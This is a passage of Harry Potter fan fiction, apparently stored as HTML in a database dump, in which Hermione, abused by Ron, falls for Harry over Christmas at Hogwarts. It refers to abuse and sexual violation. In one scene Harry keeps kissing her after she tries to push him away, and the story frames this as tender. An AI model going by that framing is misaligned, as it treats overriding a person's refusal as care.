below.&nbsp; He rested his elbows on the windowsill smiling resting his chin in his hands.&nbsp; Hermione was so sweet, probably the nicest person he had ever known, and it made him angry that there was someone out there who wants to hurt her.&nbsp; Harry squeezed his fist tight; he would never let anyone hurt her ever again.&nbsp; The sound of her laughter melted away his anger.</p>\n\n<p>Harry turned from the window, he was going to down and see her.&nbsp; She hasn&#8217;t said too much to him since the library incident, he clearly didn&#8217;t know what had come over him, he was this close from kissing her, and he cursed his hormones for reacting to her like that.&nbsp; Hopefully she had forgiven him.&nbsp; He quickly hurried down the stairs and out the door.</p>\n\n<p>Hermione heard the snow in back of her crunching; she turned and found Harry walking towards her.&nbsp; &#8220;Hi.&#8221; She said giving him a smile.</p>\n\n<p>&#8220;Hi.&#8221; Harry returned the smile, &#8220;It&#8217;s a beautiful day wouldn&#8217;t you say so?&#8221; He stopped, standing next to her.</p>\n\n<p>&#8220;Well if I wasn&#8217;t so cold I would be able to agree with you.&#8221; Hermione said half joking.</p>\n\n<p>A light sprinkling of snow began dusting the grounds again; Hermione looked up as the small snowflakes drifted down from the fluffy gray clouds.&nbsp; &#8220;I&#8217;ve always loved the snow.&#8221; Hermione said as she twirled gracefully.</p>\n\n<p>&#8220;May I have this dance my lady?&#8221; Harry bowed like a gentleman.</p>\n\n<p>Hermione smiled and nodded, &#8220;But of course good sir.&#8221; She curtsied daintily. </p>\n\n<p>Harry took her hand and they danced through the snow, they were twirling so fast that they lost their balance and fell onto a soft snow bank both of them laughing.&nbsp; </p>\n\n<p>&#8220;Hermione?&#8221; Harry said.<br>\n\n<br>\n\n</p>\n\n<p>&#8220;Yes?&#8221; She was breathing hard trying to settle down.</p>\n\n<p>&#8220;You have a little something on your face.&#8221; Harry grinned.</p>\n\n<p>&#8220;What is it?&#8221; Hermione touched her face in several different places</p>\n\n<p>Harry lifted his hand rubbing a bit of snow into her face &#8220;Snow.&#8221; He rolled off his back and jumped up running to get away from her.</p>\n\n<p>&#8220;Why&#8212; you!&#8221; She grinned and scooped up some snow throwing it at him as he tried to outrun her.&nbsp; Soon they were both laughing and having fun.&nbsp; Hermione remembered when she and Ron would come out in the snow, whenever he threw a snowball at her it was always hard and felt more like an ice ball.&nbsp; But with Harry here it was much different, the snow was soft and it didn&#8217;t even hurt when it hit her.&nbsp; She hadn&#8217;t remembered when she had so much fun and she wasn&#8217;t even cold anymore.</p>\n\n<p>Completely out of breath Hermione laid down on the soft snow looking up at the clouds.&nbsp; Harry had come up and laid down next to her, there was a peaceful silence about them. </p>\n\n<p>&#8220;That was fun.&#8221; Hermione said, &#8220;It&#8217;s been awhile since I&#8217;ve had fun like that.&#8221;</p>\n\n<p>Harry smiled, &#8220;Well I&#8217;m glad to be of service.&nbsp; If you ever want to have more fun don&#8217;t hesitate to call, for I am Mr. Fun.&#8221;</p>\n\n<p>Hermione started laughing really hard. &#8220;That is the cheesiest thing I have ever heard of.&#8221;</p>\n\n<p>&#8220;Oh you&#8217;re making fun of Mr. Fun now are you, well I won&#8217;t tolerate that.&nbsp; Prepare to be tickled to death.&#8221; He threatened teasingly.</p>\n\n<p>&#8220;What, no!&#8221; She tried to get away but it was impossible for Harry&#8217;s fingers were already tickling her and she was laughing hysterically, she was practically rolling on the ground.&nbsp; </p>\n\n<p>&#8220;Had enough?&#8221; He teased, still tickling her.</p>\n\n<p>&#8220;Yes.&#8221; She gasped in fits of laughter</p>\n\n<p>&#8220;Yes!! I, Harry Potter, am still supreme.&#8221; He finally stopped tickling her.</p>\n\n<p>Hermione wiped her eyes from her tears of laughter, &#8220;I don&#8217;t think I ever laughed that hard, ever.&#8221; </p>\n\n<p>Harry smiled. &#8220;I&#8217;m glad you you&#8217;re having fun Hermione, you deserve it.&#8221;</p>\n\n<p>&#8220;Harry, I&#8217;m glad that you are my friend.&#8221; Hermione hated sounding mushy like this, but she felt it needed to be said.</p>\n\n<p>&#8220;I&#8217;m glad too.&#8221; Harry enjoyed it when she was happy; his hand came up, cupping her cheek. &#8220;I&#8217;m glad I&#8217;ve gotten to know you.&nbsp; He was staring into her eyes, they were warm and comforting.&nbsp; Ron was a fool to treat her like this. Her warm, chocolate brown eyes caused him to melt, he felt himself lean forward, his eyes fixed on hers it seemed like an eternity as the began to slowly close, her eyelashes fluttering against her cheeks.&nbsp; </p>\n\n<p>Harry couldn&#8217;t resist it any longer; his lips pressed softly against hers.&nbsp; His body pressed against hers, making her sink a bit into the snow.&nbsp; She didn&#8217;t seem to mind because her arms had come up around him, holding onto his waist.&nbsp; He was amazed at how soft and warm her lips were despite the cold air.</p>\n\n<p>Hermione couldn&#8217;t believe it, this feeling was so amazing.&nbsp; She felt herself responding to the sweet, tender touch of his lips. <br>\n\n<br>\n\n</p>\n\n<p>There was a soft nudging against Hermione&#8217;s lips, and then a smooth gentle glide of Harry&#8217;s tongue against the seam of her closed mouth and she immediately opened hers and the tip of Harry&#8217;s tongue touched against hers, she gave a soft gasp at the tender feeling, it was so amazing the way Harry kissed her, so soft and gentle.&nbsp; Nothing at all like the harsh bruising kisses she received from Ron.</p>\n\n<p>Ron&#8217;s name screamed loudly in her mind, oh no what was she doing.&nbsp; She was kissing another male, oh she was so dead!&nbsp; Ron would find out and she&#8217;d be in for it big time! Hermione pushed against him &#8220;This is wrong, so wrong.&#8221; She said in pure panic.<br>\n\n<br>\n\n</p>\n\n<p>&#8220;What? What&#8217;s wrong?&#8221; Harry was confused and he got off her immediately.</p>\n\n<p>It was all her fault; she enticed another male to her web of deceit and seduction.&nbsp; She felt awful, she felt like trash.&nbsp; Hermione couldn&#8217;t believe it, she was what everyone in Ron&#8217;s family said.&nbsp; &#8220;I&#8230;I&#8217;m sorry, I didn&#8217;t mean to...&#8221;</p>\n\n<p>&#8220;Hermione, you didn&#8217;t do&#8212;&#8221; Harry was interrupted.</p>\n\n<p>&#8220;I&#8217;m sorry!&#8221; Hermione took off like a flash running as far away from Harry as possible. </p>\n\n<p>=========</p>\n\n<p>What a horrible cliffie huh, ha ha ha just remember I&#8217;m an evil author Bwahahaha!! Well that&#8217;s it for chapter 8 I hope you enjoyed it, Stay tuned for chapter 9&nbsp; Remember to leave a review</p>\n\n<p>Thanks, Ryoko Blue</p> '),
	(24, 9, '\n\n\n\n<p class="MsoNormal">A/N:&nbsp; Sorry for the huge delay everyone, well I hope\nwhat goes on in this chapter makes up for the length of time it took me to get\nthis out.&nbsp; Happy reading ^_^</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Hidden Beneath</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 9&#8212;Happy\nChristmas Hermione</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry had been pacing back and forth\nin front of the Gryffindor common room fire place for the last hour.&nbsp; He\nheard the wind howl against the glass window, the snow had really started\ncoming down hard.&nbsp; Harry moved over to the window and glanced out it, the\nblizzard had gotten so bad that there was no visibility.&nbsp; He shivered as\nhe leaned against the wall which was frozen to the touch even on the inside of\nthe room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">With a heavy sigh, Harry went over\nto the couch and sat down resting his face in his hands.&nbsp; Where in heavens\nname was Hermione? Why did she run off like that, didn&#8217;t she know how bad the\nstorm had gotten?&nbsp; Harry had an awful vision of a frozen Hermione lying\nflat on her face in the bitter snow.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Where is she?&#8221; Just as Harry had\nsaid that out loud the portrait swung open and in walked Hermione looking much\nlike a drowned rat, her hair was plastered all over her face.&nbsp; Her cheeks\nwere flushed bright red as well as her lips, her hands looked pure white, and\nshe was shivering severely.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Where have you been?!&#8221; Harry\ncouldn&#8217;t help the rising tones in his voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry.&#8221; Hermione quietly muttered\nglancing at the floor. &#8220;I&#8230;I&#8221; She couldn&#8217;t finish her comment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was really angry, &#8220;Have you\nany idea how worried I have been!?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sniffled, &#8220;Sorry.&#8221; She\nbarely said above a whisper.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did you bother to notice the size\nof that blizzard?!&#8221; He shouted as his arm lifted quickly, his hand pointing out\nthe window at the fierce snow storm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione had squealed loudly, &#8220;I&#8217;m\nsorry! I&#8217;m sorry!&#8221; Her arms had shot up over her head, hugging against her face\nas to protect herself from any harm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stopped his ranting at the\nawful noise she had made, he took a good look at himself and then at her.&nbsp;\nHe wanted to shoot himself in the head.&nbsp; A large sigh and relieving breath\nescaped him as he gently took a hold of her arms, she flinched under his touch.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, I&#8217;m sorry.&nbsp; I\ndidn&#8217;t mean to yell at you, I was just so worried about you.&#8221; His voice was\ncalm and soothing, gentle.&nbsp; He tried to move her arms down from around her\nface and found it wasn&#8217;t an easy task. &#8220;I can&#8217;t stand it that you are afraid of\nme.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a few seconds of silence\nHermione allowed Harry to bring her arms down away from her face.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m sorry, I&#8230;I just went for a\nwalk.&#8221; She said meekly. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, no don&#8217;t be sorry.&#8221; Harry saw\nthe redness of her eyes, guilt immediately surged through him, and he took a\ndeep breath.&nbsp; &#8220;I shouldn&#8217;t have reacted the way I did.&#8221; &nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&quot;No, I should have told you I\nwas going for a walk.&quot; Hermione wiped at her eyes, not wanting to cry in\nfront of him. That would make her seem weak.&nbsp; And weak girls weren\'t\ntreated very nicely.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&quot;Hermione, I don\'t own\nyou. You can go where you want, when you want.&quot; Harry replied. He reached\nout slowly and took her hand. &quot;I had no right to yell at you like that.\nI\'m sorry.&quot; She didn\'t look up at him. &quot;Really sorry.&quot; he said.\nHermione nodded slightly and Harry exhaled in relief.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8230;uh should go change.&#8221; She said\nquietly turning to go.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you going to come back down?&#8221;\nHarry asked hopeful.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Did you want me to?&#8221; Hermione&#8217;s\nvoice had barely gone up above a whisper.&nbsp; But Harry heard her perfectly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Only if you want to,&#8221; Harry\nstared at the back of her head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right, I will.&#8221; And with that\nhaving been said, she continued on towards the stairs that led up to the girl&#8217;s\nroom.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry let out a large sigh and\nlanded back on the couch; he wanted to talk to her about what happened earlier\nthis afternoon, why she had run off like that?&nbsp; Why was she sorry?&nbsp;\nShe didn&#8217;t do anything.&nbsp; It was all him, it was his fault.&nbsp; But he\nfelt it wasn&#8217;t the right time to bring such things up, the thought of what\nhappened would probably just drive her away and whether she knew it or not she\nneeded him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione slowly made her way up to\nher room, which was quiet and empty.&nbsp; She was glad for the solitude as she\ngrabbed some fresh clothes and headed to the bathroom for a warm\nbath.&nbsp;&nbsp; As she turned on the water, the whole room filled with a\npleasantly warm steam.&nbsp;&nbsp; After stripping the snow soaked garments from\nher body she sank into the delightfully hot water.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She had been stupid to run off\nlike that during the snow storm, but what else could she have done?&nbsp; She\nhad been a tease a &#8216;Scarlet Woman,&#8217; she hated herself for doing that to one of\nthe only people that had ever cared about her.&nbsp; She didn&#8217;t know how she\nwas going to face Harry now, surely he must think what a whore she was, a tear\ntrickled down her cheek and she quickly lifted her hand wiping it away slowly\ndunking under the water.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stared at the fire, the red\nhot embers glowing brightly as the flames danced against the logs.&nbsp; He\nwondered what was taking Hermione so long, he decided to give her five more\nminutes and then he would go up.&nbsp; Just as he had thought this he saw the\ngirl&#8217;s door open and Hermione step out in some old sweat pants and a long\nsleeve flannel shirt.&nbsp; Her hair had been dried since he had seen her last;\nshe started across the upstairs landing towards the stairs.&nbsp; He turned\nback towards the fire so she wouldn&#8217;t catch him staring at her, he didn&#8217;t want\nher to feel uncomfortable. He heard Hermione approaching the back of the couch\nand she came around to the front.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sat down on the edge of\nsofa, a little bit away from him.&nbsp; She pulled the blanket off the back of\nthe couch and threw it over her, cuddling underneath it; then stared into the\nfire.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Clearing his throat, Harry decided\nto break the awkward silence.&nbsp; &#8220;So&#8230; Are you all right now?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her head nodded up and down\nslowly, &#8220;Yes.&nbsp; I had a nice bath.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well that&#8217;s good to hear, bet it\nwarmed you up real good huh?&#8221; He smiled a little and saw her head nod\nagain.&nbsp; &#8220;Tomorrow is Christmas Eve, are you excited?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She turned her head and looked at\nhim, &#8220;What&#8217;s there to be excited about?&nbsp; It&#8217;s just another day just like any\nother day of the week.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry tucked his legs underneath\nhim, sitting in an indian style facing her.&nbsp; &#8220;No it&#8217;s not.&nbsp; Christmas\nEve is a magical night, were your dreams and wishes come true.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">None of her wishes or dreams had\never come true on that night, but she smiled a little for him. &#8220;What a romantic\nnotion you have.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He could tell her smile was\nforced, &#8220;I take it your Christmases haven&#8217;t been very happy ones.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s just&#8230;&#8221; She paused and took a\ndeep breath, &#8220;I make wishes and I dream all the time, not one single one of\nthem had ever come true.&#8221; She stared down at the red blanket.&nbsp; &#8220;Nothing\nhas been very magical in my eyes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded; he hoped he could\nchange her idea about Christmas.&nbsp; He in fact had gotten her a few gifts,\nknowing that she hadn&#8217;t gotten him anything.&nbsp; &#8220;I&#8217;m sorry.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t be sorry, it isn&#8217;t your\nfault.&#8221; Hermione said.&nbsp; She wanted to change the subject, &#8220;You know we\nspend all this time talking about me, what about you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We talk about me all the time,\nbut I&#8217;ll tell you anything you want to know.&#8221; Harry smiled.&nbsp; There were a\nfew moments of silence before Hermione spoke up with a question that Harry was\nnot expecting at all.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How did you defeat\nVoldemort?&nbsp; It doesn&#8217;t say in the books about you.&#8221; Her cheeks tinged\npink, she still felt embarrassed that she had read every single book about him\nthat was put out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s eyes jotted about the room\nas he looked in every direction except for in her direction.&nbsp; He suddenly\nfelt very nervous and he didn&#8217;t like it. &#8220;Why do you want to know about that?&#8221;\nHis voice had taken on a very angry tone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gulped down a breath of\nair; she could hear and see that he was angry.&nbsp; She had made a mistake in\nasking.&nbsp; She had read that Harry Potter had brutally murdered before, she\nwasn&#8217;t sure if it was true or not.&nbsp; She was afraid and her hands began to\nshake underneath the blanket, and she slowly pressed herself into the back of\nthe couch cushion. &#8220;I&#8230;I&#8217;m sorry, I shouldn&#8217;t have said anything.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She waited for him to say something,\nbut he was completely silent, his face etched in a most horrid anger.&nbsp;\nMuch like the many faces Ron had shown her.&nbsp; Hermione wanted to flee the\nroom and rush off somewhere she knew was safe.&nbsp; Hermione quickly threw off\nthe blanket and stood up in a mad rush.&nbsp; &#8220;I&#8230;I think&#8230;I&#8230;should uh&#8230;go now.&#8221;\nHer voice trembling, tears of fear threatening to spill over.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A hand came down on her arm and\nshe freaked out squealing loudly, &#8220;Don&#8217;t hurt me, please!&nbsp; I&#8217;ll be good, I\npromise!&#8221;&nbsp; She tried to pull her arm away so that she may run.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione sit down.&#8221; Harry said\nwhile looking up at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just let go.&nbsp; Please.&#8221; She\nbegged, not even noticing her tears.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not going to hurt you\nHermione, just sit down, please.&nbsp; Don&#8217;t go.&#8221; Now he was begging.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hearing him like that made her\nwant to stay.&nbsp; Still on her guard Hermione slowly slipped back down onto\nthe couch, but staying a good distance away from him.&nbsp; Her eyes were wide\nand still full of fear.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry spoke up right away.&nbsp;\n&#8220;I didn&#8217;t mean to scare you; it wasn&#8217;t you I was angry at.&#8221;&nbsp; His tone was\nfirm, yet gentle.&nbsp; &#8220;Its just remembering what he did, well&#8230;&#8221; He took a\ndeep breath and ran his hand through his hair.&nbsp; &#8220;Do you really want to\nknow?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione wasn&#8217;t sure how she\nshould answer.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I will tell you, but it might\nchange your view of me.&#8221; Harry looked about her face and saw her\nuncertainty.&nbsp; The way he reacted when she asked him was why he understood\nher fear of him now.&nbsp; He saw her nod.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry cleared his throat and went\ninto the long tale, about the poisoned sword, the innocent people Voldemort\ncontrolled to attack him and how he had to kill those people too, and finally\nthe beheading of Voldemort.&nbsp; Harry looked up expecting to see the look of\nabsolute hate and horror. But he was surprised when Hermione had flung herself\nat him embracing him in a tight hug.&nbsp; He then put his arms around her,\nhugging her against him</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That must have been really hard\non you.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;I didn&#8217;t like\nkilling anyone, let alone innocents.&#8221; He hugged her tighter, afraid that she\nwould disappear at any moment now.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Have you ever talked to anyone\nabout this?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&nbsp; I don&#8217;t want to burden\nothers with my problems and feelings. So I just keep it to myself.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You really shouldn&#8217;t.&nbsp;\nYou&#8217;ve told me you shouldn&#8217;t keep things inside you should let them out.&#8221;\nHermione said softly, her cheek resting against his shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry grinned a bit, &#8220;It&#8217;s easier\nto give advice then take it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded agreeing, &#8220;Well since\nI tell you my problems, you can go ahead and tell me yours, even if it&#8217;s your\npast dealings with Voldemort.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You really wouldn&#8217;t mind hearing\nabout my past with Voldemort?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione pulled back looking at\nhim, &#8220;No, you can talk to me about it anytime, even if it&#8217;s three in the\nmorning. I&#8217;ll listen.&#8221; She smiled a little.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry felt like crying, she was so\ngreat. No one ever wanted to listen to him, not that he ever felt compelled to\ntalk to someone.&nbsp; So far she has been the first and he wanted to be\ntotally honest with her.&nbsp; &#8220;Thank you Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Anytime,&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why did you run off?&#8221; He paused,\n&#8220;Earlier today.&#8221; Harry couldn&#8217;t take it, he had to ask.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I told you, I went for a walk.&#8221;\nShe avoided his gaze.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes but why?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because I&#8217;m bad,&#8221; She sniffled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What, no you aren&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes I am,&#8221; She looked away\ncompletely, her eyes closed. &#8220;I tempted you; I&#8217;m a little whore just like Ron\nsaid.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took her hands in his, &#8220;Now\nyou listen to me, you are not a whore.&nbsp; And yes you did tempt me, but\nthat&#8217;s only because I like you and I&#8217;m attracted to you.&#8221; Harry wanted to kick\nhimself for blurting out that last part as he saw her cheeks tinge pink</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re attracted to me?&#8221; She kept\nher eyes down low, her gaze resting on her hands which were still held by his. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes, since the very first time\nyou stepped into that train compartment with Weasley.&#8221;&nbsp; He confessed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I try not to attract people,\nreally I try.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Trust me that is not your\nfault.&nbsp; It&#8217;s not your fault, that I like you and I want to be your friend,\nyou&#8217;ve done nothing.&nbsp; This is all my fault,&#8221; He smiled. &#8220;And I rather like\nit that it&#8217;s my fault.&#8221;&nbsp; He continued. &#8220;I find myself wanting to always be\naround you, I like the way you smell, it gives me a great sense of comfort when\nI know you are near.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s face was as red as a\ncherry tomato, no one had ever said anything like this to her in her entire\nlife.&nbsp; She noticed the room had gone silent and she looked up at\nhim.&nbsp; She noticed there was a question burning in his beautiful green\neyes; she took a breath and waited.&nbsp; Harry had leaned forward, his lips\ninching closer to hers, she was so nervous she was sure she was shaking\nuncontrollably.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The moment his lips touched hers\nshe felt her heartbeat speed up with a new feeling, something she had never\nfelt before.&nbsp; Yet old feelings still crept up into mind as she lifted her\nhands from his to press against his chest and push him away.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">One of his hands cupped the back\nof her head he knew she was gonna try to push him away; it was only natural for\nher.&nbsp; But he would try to convince her that this was a nice thing, not to\nalways been taken as a form of ownership so he continued to kiss her softly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">What was the matter with her, why\nwasn&#8217;t she pushing him way? Could it be that she wanted him to do this?&nbsp;\nNothing was ever given to her, she was always the one having things taken or\nrather stolen from her, first her parents, then her virginity then her self\nrespect.&nbsp; Why and when had things gone this bad?&nbsp;&nbsp; All those\nunpleasant thoughts seemed to fade from her head with this one simple gesture\nfrom Harry; she timidly wrapped her arms around him as she welcomed his kiss.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">*****</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The morning sunlight peeked\nthrough the glass window of the Gryffindor Common room.&nbsp; Harry and\nHermione had fallen asleep on the couch, she was lying so close to him with her\nhead pressed against his chest.&nbsp; 